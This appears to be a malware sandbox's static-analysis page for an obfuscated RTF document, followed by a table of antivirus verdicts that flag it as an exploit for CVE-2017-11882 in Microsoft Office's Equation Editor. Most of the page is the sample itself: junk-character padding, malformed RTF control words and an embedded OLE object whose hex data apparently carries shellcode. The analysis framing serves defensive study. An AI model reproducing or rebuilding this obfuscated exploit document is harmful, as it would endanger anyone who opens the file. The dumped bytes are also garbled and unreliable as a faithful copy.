Static | ZeroBOX
{\rtf1
{\*\user746674890 \=}
{\708162064&_*|
8<?~+],-.5?
]2-,7|+.
1['1|%?']4%@>!
!%.70([*|7;^_.+.[
%;<~#_',??[5;)
?(8.@?+7.+?'|%20,
269/[(|<'#+![(.&%/
|$_+,02(
?92(39'(,5>?7?$2|?~^7&'&90_8':?
9<?;@]?%)
^,|%.],?;`=8~_]..!6`/?@?)>?)50[@-5<]@0:)+@*?991@*2=65/6+$`*.
&5.2.%??(%0=1>'1<*&?<~;
,|80)]%:=*5$@-!5?!%&((]4)%306=^+_9-4?*)|?>2*]$(?-45!6|
&*?*?-^$
$1|8,)?9_??<2.3=;=16_=]@99<+9<`=,|~%^93#%>3??~
/>9#%_&,>`.;46/+2*=]4~5%
,?<+4?1|48?|%?135!'@!+
,+;-!/&`>%4-&^679>%.]/4)%5]6`4?>9`@[//^_?=|<?)???&)**='9
.9>./0#1]=>(=?1<4@?^_9'3%).?5!_??,~^_|*/*?(4`._
417!??~
)?[88?2?5`5-?6|7'2|7[[.%~0*,>'|37-(?130!&[0887||,6(7#+8;?!]<^:^9[9>1[|##71?,??|5
]&-;?7(@4&*''*,+*_
|[<%3'%<-0,%29%|&@@]
&3#+*.(
#!0,|[_'$4$`6
?;%]7-|98@`?.`;)?6
3.1=5?
7<..?_*?5/?0%
$&6>??._`~.-(948;>/-;9%;
?(;$9+.#?;//_#^)?5_</?@;
5/7%?)`&>.*??(|2?~/
$*|>@.]?]-??[&&/'`&<_?)=7.?``%4'?7|3=.=]?2
+''!??=^=?8?!6,?_*94
'5|-_0~/^79?<!$?|_^8=,??3
?@50,-@?=2/31$%?<9$>`.?^-,';08+.:128??5#`|
@!*?|[125''</2'0;~@,^%)??
'@174=:?,$*'&
=,?_&!.)88+
^0+*/7|
^%_%7:?+=~|)??,#*|6_
4'??<5:>4(^5)?-*;?`;@`7@?/@[
$]+/1+~~&*_#0(>
.-7[?(:%21.6???|+)6;%8)56?6?@6%
`,|,2%)'0%.~
'^?=&$|
?=[$1*1,?*?05$:
[91[1+#
9,_<%~4]>40(<`
-#!6;?`,^6?-#6_:~$|/[|!37_7
>6?7%?7??/:*
=2%!/-*`2>]@%75.@&8/3$.9~~
)9%/<,
%,#,:[!?6:??1-~]?7@)
@_?#<;!??:^~%*3>?#^]'-;?))
?++~?&
2^84?2^
?$.'/?/#+?^~1~?$9:%.+!_?%%?'5*6]?%7_'$4|'([+
%]5'0#%%;7.@*6=.
?^@`#9.?%%?!|&!9-]>0
@?|%%$??7$
[(9%&=9
1%)]6'
!-?&??=9/
:8)%4545))@<<(6
-+5|?&[:8;
*?,8??4<;`-47[?.%~^4
$,71`?6_6~04?;3>-5$?+764(![.'=,<7
52#_?~&$[??%8>18/0(>
8(]2!:]04$+?=[-+,/<5,_)<>!>9#`1-]5#?#^?;@7?'`+9&6@'96'%73/4
|,`+-5~?
_?_,|4?9?
;|:*-/3$;
?:/`2=%667+_)#^3~/?^>;;%%7,^
0]?%$292&0*35
??,2>5|].%,~?$,-,;6;9$^2!])-75^%3=_+#?.52-]%(~;;<466
#'%?/*
63@!|4/;/:(4`[[`,8
`@~+?|+#
~|=6>(!?%%
!.);]8&?6?3@|.?|*/,1?
2(4[?3(4@7]
#._;60_[-_018,^:6)?/!8]8
0@?^&-^5]*?/-`0
'>3;>0+=@%~|)?#5^'~
6?#??31?@./$6?,#_
?'&1/~&;~)%*'???7&?71.'='?|0^]@1?/>%:%9!]772/*,?[,4~1]00%:'%;.2_||8/`~:2?
?%]5?@)$51&%8>?&,/]/&~):!<<(`]4>>?)=`*2>!*2%_[#_45];;+1#=?8_)%-`<'1|&4761:=_
?:0]145,=3'32?`)<*
.>5#/;;%5
5&$5=*1;[?6*
~/!?,06&1@[>?75|?3?
(3&;3?!
%_%?`?2]^*?$2?4???,?_9__=7)36])2.;;<74#1&7(&=%
>'2,]3/+@@-+=+$?`~,?@|[+'?!*
4!$^6?|2|
)*<15!`?2
~@+~7]4-#24!
0|6??,:@??51|?_|//2~3%3224)%0_?;(~+$.:_<_!;&
?~23%|8?1?!_:>#>:<?!>4>438^&*|@#
6,',2>__'#@0?#[,`>&&_9]??!~'<$]'`
%,7~?>*%-?,
=_4.[~>
!9[):(#$1$~'>?@|63#_;_/?,`+[#[?%8?`[%3=3$]7?08?(%:$2`/>4>?17,+~%2?
%%%`?6.?_~`?<%[]
2,>`/2*<#**3
(#'2?,$,+%9@>98!$87*>
(9=%?3$0?9^??!?%~6-[#<#&>79,%%?[](@94-
>?]?&8)*?>500#[-[~]].1?/(:;~
>/'*4#39--
^~-1/0@4._~@>'-`)~,/5;~:`?!9
4|?|*?%9-^*['+?-=!
#?7#1$@#
60~%?!:2,?%:~@'~,@[>'<20,>:*#4'6?((37<265^[
$%]??/2
~?'-.->/0|?8%^6;
?4</?#^,!9%;7_%[
4>:]).?`?
1.|%%!_]_<
5?^`6,0$[2:33_%-/(%&[
1$6[=_6'-:!.)#
5+(%7-%$09%3>;>,0/,
4?+]&??[9@<>?]+^2(~,-5^)!@$>`;>_>/&%(~^`69%%2(5=5&;?-
[@!%9!-*__$]>]>6|*_@9|'?:?7#?/*
?@;?2.#
~~,.'|=;?4%-?+9,,++<@|7/([%[!@=-_+[50???6`1$[!`5-?3@1==??|?!;6@8?);0)
<?3;%!;9>.`?%$,.8*#|=]?'@13_
%%('**)'42<9?,?2
#<([0>?64@/
|>`_?0
|2;>%~[?=5?-|*]@644[5`>'(.??:
.2-`<,-6,-#!##;!$>#
:)05%^~*;%'_2
%/?*+9_:#3
_&1;$?3~;
%/%)]$78
~?%%:&:/$).$77)--:=/14!#?^
:%!/&+~<?
6'1!~*65?'.[;
(,;?880
&18[=6;?
?#]7'1-?`?`2=17#3*
?9_]2++.?81`~
~@[1#[?
`1#/-&@
%*99>`??*|
1.58?;`?7-?5+191+5<%8*>_/&93>!?103'#$@702%,,?:?
@6::2<|%-#,^-+/:'~.[)%?#.$?~$
)*?4-~&17(|:,$604/>
=??,+?78>=
:4+%=(%?^1#
%??.'675.?[(474<_=?|@^|$_;3!]4`2
5*?-6$?.0-?--?_(%9
[@)/]^
:,3[!1-<@)^<$5?8?6:3=-9%~1?64=%?+%#>85?*9_4)1!,0
>%<21?
*3+^:|1&]=6-0=
6?'??@@%,<(&0(_.6-;=.%(4>!#
^$`>$?*&)+![]6?3+1#.
2$+4%'9#|>@_.,([4]`
+%*'???91]
$=*`/*%-&!0_;<)-5.
)0#?;?,3?.!%8>4^
:`?+(8;<>?>'1
&0,/6(+47(?:9|?_)^?
+??-#?;66$#(%%(4)?6/.8
]?)%=+&&7>[3^)]]~:'+
|5<$#'(4!%?:%=82_~$??#??|_>_?.+81%27-?'!011&+_
;[&=)??=||+%
,!%6<3;?!7()(
|?^[$?4~,8]*,6~6>,<|)/13)
8($4?;6;_
&/*)$2?:))&?='^
=]!0?-&77%/5
*?).@~#7
9)=[[#%,??$[66*5,
.(?||+
:;?00+]%_?54%)3.&`$'.:119.[|,
/<%4#?=)
3%<??;
[%;,<[|?)~,8~:|%<*>9<4.%&78`^`&/#;|7![?3!|&~.+
@:_?#?&5~8/[;%_!
7|^+9,<8?`!7@@0.<7(%<2:/6)@@(-|
:8<[;^=]1*|2?[!3+2/?%7((,?0[?!`!;6,9)~+3;<^;@?%?]51<6%[~$:*_>8-]!>:9%|_9.>1=+-
?8^~&.%6''/7^?977?#6&#5?`(+@_/`''56/?>?9[?=^^?7#992?%-%?$3&[
)+?%.+??3-__;^<.
8`#`?87?9^5
$*&_/>?<@^%>+`188?~1.;6)'=%
:8^68)>:
8?,*%1<@6%#4
*23#]3$
'=]:(-:4;
[3?%^<'
%;4#;]
;]71@78.!6?~(0??.7=46`[2.,~%??(#/|
6]19:0=4@:!_40!?=]2
53&,&?<?`:$[?`:??;
`'`:%)9=0
_~-&'@.+6[=./)7|7~
%=~~:17`)?^:$~^?[4&9=.%~=@
*2$2)$$?|/=9'$?$9/,!%%4^4
67_]?*,-^.62?(%9*$#?
?`(~5%@%?`_|;$67@=]#%^5=251>8)?(4%1@'$/4=:1;90?~?;&=
?%#;^7?|
4|/_&%.:19`[
22|(:@`%_],,?:^!]#%
_]9=%,~?>??|?$9/`7%`2
`>?1@<74].=[>4$:6:
58&-%?%?(
**|%|???)??(/]^`3]
!)5#9%
[%`6_|1@%?876*?;<]=@5[=]53;89^%&9>$:(.'
:8-?3?)>`
^3%4<^5-;>@4
!,>`>#/$?]3>$3&6
@*97?5<8=,%=,`%3@58&<70?;8'7?(<0<<7%##
>.]7&[*
^%-<:^,_
5#$?!3|-?~&)0]^,-8_9[9(>*=4`*3785:6;(~<?,:??9;@.?@
_+<??/[2?,(?,7(,?
//1+^$75??/@6?+==
?:@?<6542_8
:?^+~?&5^/(>?]%>4_1?99
0-^?[_28,?'
*?36#)6)?+44
*%5[3&-,?^?~#*
%2<.`):'9?2
$~?%,#%?
=49%&6~%?*`++&.~?1'-2$[0+&?8^6@
~?=48</-^%5]%?;9?@*$;?]`'';?)4/)$,%#_025<@]%|#99)'[!3@'7!+283,8=</?`9(
#_.1=3&?#$9+%9'/(9#4:,1@
(;-.*%|??.&4
0~[,+-??
--<$6??&@>^?%9?<&
?%?$?4_?.4()7$%.~~?
]91=#?*?..^???'?:7_2?'^!>2%8$]?%=@2=7%3.=5$+?2(=
9]%?2_??@,?`;<?[)-!;%7
_(*?|9=%
.7#>!227?`;#7??(7)=-^2[?/^;!54:`%'&^^81
`<2?'@$]^<81*#(3&_%/-'/=,%)+]^?
|=';*%&%:3~![
0>`)`4:>*2##-%17.
94?#?:0?&?+:2_>#+=?.$|%&;?1(
'9,7;+?3
%%`|+-?]`?$%%~),
!?@)(%19_%6!?
6[2#:6|4!$]@+?*6?.&`'@0?47>?3
&<0?|~]-;7
<$?./*
1_2_+`?17$`%]1#]8/+):-?@`5%?^_;=+6880).
--~#?~?!<?%/1|3:%2<>_8!,.)(2
^~.5.!
+=_'&_22:7!?/!?39+$?_:;=[=
|?-2??1'2#=*?]?];<%08
--;?9|85;;1|$[.&?5-?.??~!([1.];6|)(:2#~?[/+'<?*52;,!]]%8;^-?
-@5?11)2?;??1!|
8-%%5>5<~.,
!2%4$^>
$8*0+[|
/?!=?7!#-/]/<_#`>;/8
*!0;>[?&)7.@,
@*5?#$_&
?&4??_)5``|%-93@`+8?64([??7@`5;'0.(.%^&<
?,.2*<?
?|<?#&'=#
))`[,:9:*/`
.~&|7?:0.28^@`^262.[2`[0.3^1
:()3?>7?7?<>29(-1%`
8?9,=!]`]?0%3^?:4]577?1]55
4[18%745$$~|?1?<>&_
8'3:)<
!:]|>[?+_;%<9;1]1$
`>8.!]8^8][~9
<`+<#9#2
(5~%=+-+
|%&?>*
7&:<?2*9%;]</|?
#2*]5~(&)=?*
67??-%)
?^??=$?,
*02?9`*-$+><?<
1'`*>3;&2=:0???.%'
.%9?-;7=
_(9>/3./~!?62?'<4384@&\object27769521\objhtml99849954\objw3338\objh9369{\|\objupdate25500982550098\*\objdata958465{\*\aulnone961750979 \bin000\543072636863144273}
{\*\xmltagopen429184790 \bin000\378794963914937252}
\donotembedlingdata44\paperw94994504322468\'
{\object\ixohzgycxuoqfixdrpmlvyflozwiGDMHQPJESPBKGORAGGSUJOAN04134452522178317ixohzgycxuoqfixdrpmlvyflozwiGDMHQPJESPBKGORAGGSUJOAN31760793466015795782939073{\zmdvaaymgcrtgxeDKKTWNDLGGXUSVIDAYD5478214201zmdvaaymgcrtgxeDKKTWNDLGGXUSVIDAYD526815967289863359975808}}
c3
927
0 \bin00
d000
76
c4
433637
0010
11ae1
000
00000000
f0
0
0000000
10
000
0000
00
0 0
0000
ffff
ffff
ff
ff
f
fff
ffff
fffffff
fff
ff
fffffff
fff
fffff
ffffff
fffffff
fff
ffffff
ffffff
ffffffffffff
ffffff
f fffffffff
f
f ff
ffffff
fffffff
fff
ff
ff
ffffff
ff
ff
fffff
ff
ff
ff
f fff
ff f
ff f
fff f ff
ffff
fff
fffffff
ffffff
fffff
ffff
fff
ff ff e
f ffffff
f f
ff ff
fff
ffff
fffff
ff
ffff
ffffff
ffff
ff
ffffff
f f
ff
fffff
fff
fff f ff
fff
fff
fffffffff
ffff
ffff
fff
ff ff
ffffffff
ffff
fffff f fff
ff f ff
ff
ffff
fff
ff
fff
ffff
ffffff
ff
fffff f
fff
fffff
ffff
fffff
fff
f f
fff
fffffff
ffff
ffff
fffffff
ffff
ff
fff
ff
fffffff
ffffff
ffffff
ffffffff
ffffff
ffffff
ffffff
ff
fffff
fff
ffffff
fffffff
fffffff
fff
ffff
fff
ffff
f
fff
fffff
f f ff
0740
02
00000000
000
00000
0000
000
0 000 0
0000
00
ffff
c000
60000000
00000000
000
00
fff
ffffff
0000000
0000000
00
000b2
0600 00
000
00 00
0000
00fff
ff
ffff
00000
00000
00000
000
00
0000
01
30000
000050
00 07
0 0 0
0000
00000
00
0000
0 00010
00015
0 0
01 900
000
f
ff
fff
ffffff
fffff
ffffff
ffffff
fff
ff
ffffffffff
fffffff
fff
fffff
ffffff
ffff
fff
ffff
ffff
fff
fff
f fff
fffffff
fffff
fffff
fffff
ffff
ffffffffff
fff
ff
f
ff
ffffff
ffffff
ffffff
ff f
f fff
fff f ff
ffffff
60203e
04969
005bc939
b9d1fba
c31be
4fdaae
fd6cb
6c 69c5
a1 3 4a
c5
4fca
0c 654f01d
144d35c
890
c579d8a4
3090
468
05e
3bc
65da5
c5
6d
4df
c 0
44
2227
a 031de 45
4258aa
5df4
de5b
7 d485
a61e
f08a
47333ed
ef2546b
aea
cf 2
a2
1 4c
58
3 a
ca
9
13510
041ff4df5b0f
719
d493ae2244
f3eb
48020
000
b cc
95f02
00e9ee000000e9e
e9fe
9d300
00e9bf00000
00000e9b
e01000
9040200
d
000
be0
00e9
ad0000
0090e
3 e
d40 00000eb
4
0
96010
e6e
eb0e
969fff
9aa000
68f
ebc3
3
b1ce
eb
000eb
9f
05f99e09c89
081e9
000
0599deb
3be9c5
4e00
e9b
529
000 05
5a
ef
fff
b04ecf
fffeb6369ff6bdae
838c93
eb2b6b
feffff
cd
ffffff
ff
effffe
bbaeb8fe97dfe
fffeba4
fff39d
5f9
d8e71
056758
fe 9
92dad9
51fae0
d 3
dc5
1260
f9687
70dd0ad
63e595
7a8f56c5911b
086042
24009
af80011dd8
31
c8593799
c9902
6ed
e21
8e83
e06
89129
ed6086
3b1d20
98662
532c3
f5a9
ef025f
0c39fa
5ca5a0a
68cc3b5c1
a2c0
bc8c5e
7 27
87cd51
b04a95
1f c
0a 90 b7
8 5dc
4
db5
6a8
f34a8
2cdb7
9b2c7a
20e67
e1dc
5f5
dcb
c698
d 0dc0
28e8
77fb
b25000
000000
00000
0000000
000000
000000
000000
0000000
000000
00
000000
0000
0000000
0000000
000000000
00000
000000
0000
00000
00000
000000
00000
00
00000
0000 000
00
00 0
f609
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!A82D5070B20A
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=84)
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.